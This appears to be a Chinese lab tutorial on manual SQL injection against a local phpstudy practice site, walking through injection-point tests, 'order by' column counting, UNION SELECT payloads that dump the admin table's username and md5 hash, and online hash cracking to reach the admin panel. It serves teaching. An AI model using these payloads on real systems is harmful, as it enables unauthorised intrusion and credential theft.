SQL注入基础步骤及SQLMap工具使用（一）
SQL注入基础步骤及SQLMap工具使用（一）
测试环境为VMware WorkStation虚拟机
一、环境搭建
（一）、phpstudy2018集成环境安装使用
安装使用，自行百度，下载地址：官网地址
1. http://phpstudy.php.cn/
（二）、SQL注入源码
百度网盘：
1. 链接：https://pan.baidu.com/s/1B0VSwXk6JnZbBpRgr5S3iQ 密码：wgze
（三）、图示
目标网站：
1. http://localhost/sqls/index.php?id=1
二、SQL注入过程详解
（一）、注入点查找
1、'单引号测试
1. http://localhost/sqls/index.php?id=1'
图示：
2、and 1=1 和 and 1=2测试
1. http://localhost/sqls/index.php?id=1 and 1=1
2. http://localhost/sqls/index.php?id=1 and 1=2
图示：1
图示：2
测试结果：该URL可注入
（二）、详细注入过程
1、order by 猜字段数
1. http://localhost/sqls/index.php?id=1 oder by 3
图示：
http://localhost/sqls/index.php?id=1 oder by 4
图示：
得出字段数为3
2、union联合查询
（1）、查看当前运行环境
常用函数，其他请自行查询
1）、数据库名称：
1. database()
2)、当前用户：
1. user()
3)、php版本：
1. version()
4)、操作系统：
1. @@version_compile_os
图示:1
图示：2
（2）、猜解表名：
1. http://localhost/sqls/index.php?id=1 union select 1,2,table_name from information_schema.tables where table_schema = 0x74657374 (test的16进制)
图示：
猜解结果：admin表为我们要找的存储管理员账号、密码的表
（3）、猜解列名
1. http://localhost/sqls/index.php?id=1 union select 1,2,column_name from information_schema.columns where table_name = 0x61646d696e
图示：
猜解结果：user、pwd为我们要找的管理员账号、密码
（4）、猜解最终账号、密码
1）、猜解账号
1. http://localhost/sqls/index.php?id=1 union select user,2,3 from admin
图示：
猜解结果：管理员账户-admin
2）、猜解密码
1. http://localhost/sqls/index.php?id=1 union select pwd,2,3 from admin
图示：
猜解结果：管理员密码-3f230640b78d7e71ac5514e57935eb69（32位md5加密）
3）、md5在线解密
网站：
1. http://www.cmd5.com/
结果：密码-qazxsw
三、登录后台
图示：
有任何问题和需要可联系本人：
QQ：806797785